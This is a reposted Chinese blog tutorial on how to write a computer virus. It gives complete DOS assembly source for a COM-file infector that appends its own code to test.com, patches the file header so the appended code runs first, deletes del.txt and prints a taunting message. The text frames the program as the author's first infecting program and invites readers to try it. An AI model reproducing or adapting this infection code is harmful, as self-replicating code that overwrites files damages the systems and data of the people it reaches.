如何制作病毒

病毒的编写是一种高深技术,真正的病毒一般都具有:传染性、隐藏性(又称潜伏性)、破坏性。现在的病毒种类也不少,如平常的传染可执行文件的病毒、宏病毒 等等。但原始的、破坏性最大的病毒还是传染可执行文件的病毒(像CIH病毒),而这些病毒一般都是用汇编语言编写的。有许多人对病毒有着好奇和向往,但是 往往又因为汇编语言的难学等问题望而却步。 

这篇文章就是教给大家如何制作一个简单的程序,这个程序虽然算不上病毒但是具有病毒的传染性,而往往病毒的传染性是平常人最难做到的。 

好啦,现在转入正题,先讲讲病毒是如何传染的,传染后又如何在被染的文件中执行的,其实道理非常简单:病毒一般将其代码写入执行文件的尾部,然后使执行文件在执行时先执行文件尾部的病毒代码,然后再跳回原代码处执行。现在举一个试例进行说明: 

;----------------------------------------- 
;功能:感染当前文件夹的test.com文件 
; 并删除当前文件夹的del.txt文件 
; 显示预设的字符串 
CSEG SEGMENT 
ASSUME CS:CSEG,DS:CSEG,SS:CSEG 
main PROC NEAR 
mainstart: 
CALL vstart ;病毒的代码开始处 
vstart: 
POP SI ;得到当前地址 
MOV BP,SI ;保存当前地址 
PUSH SI 
MOV AH,9 
ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串 
MOV DX,SI 
INT 21h 
POP SI 
ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节 
MOV DI,100h ;目的地址 
MOV AX,DS:[SI] ;开始复制 
MOV DS:[DI],AX 
INC SI 
INC SI 
INC DI 
INC DI 
MOV AX,DS:[SI] 
MOV DS:[DI],AX 
MOV SI,BP ;恢复地址值 
MOV DX,OFFSET delname-OFFSET vstart 
ADD DX,SI 
MOV AH,41h 
INT 21h 
MOV DX,OFFSET filename-OFFSET vstart ;得到文件名 
ADD DX,SI 
MOV AL,02 
MOV AH,3dh ;写文件 
INT 21h 
JC error 
MOV BX,AX ;文件句柄 
MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节 
ADD DX,SI 
MOV CX,4 
MOV AH,3fh 
INT 21h 
MOV AX,4202h ;到文件尾 
XOR CX,CX 
XOR DX,DX 
INT 21h 
MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方 
ADD DI,2 
ADD DI,SI 
SUB AX,4 
MOV DS:[DI],AX 
ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒 
MOV DX,SI 
MOV vsizes,OFFSET vends-OFFSET mainstart 
MOV CX,vsizes 
MOV AH,40h 
INT 21h 
MOV SI,BP ;定位到文件头 
MOV AL,0 
XOR CX,CX 
XOR DX,DX 
MOV AH,42h 
INT 21h 
MOV AH,40h ;将新的文件头写入 
MOV CX,4 
MOV DX,OFFSET new4byte-OFFSET vstart 
ADD DX,SI 
INT 21h 
MOV AH,3eh ;关闭文件 
INT 21h 
error: 
MOV AX,100h 
PUSH AX 
RET 
main ENDP 
yuan4byte: 
RET 
DB 3 DUP (?) 
vsizes DW 0 
new4byte DB ‘M‘,0e9h,0,0 
filename DB "test.com",0 
delname DB "del.txt",0 
message DB "He he he he!" 
DB 0dh,0ah,"$" 
vends: 
start: 
MOV AX,CSEG 
MOV DS,AX 
MOV SS,AX 
CALL main 
MOV AX,4c00h 
INT 21h 
CSEG ENDS 
END start 
以上就是一个简单的可以传染COM文件的程序代码, 也是想当初我所做的具有传染性质的第一个程序。如何???不难吧。 
附: 
COM文件执行时将COM文件内所的所有内容COPY到内存, 起始地址是100,然后进行执行 
没有任何有关节啦、段啦这些属性,所以COM文件病毒是最简单最简单的病毒。

 

 

该文章转载自:http://jake631.blog.163.com/blog/static/18350572007124559732/

你可能感兴趣的:(c,汇编,语言,byte)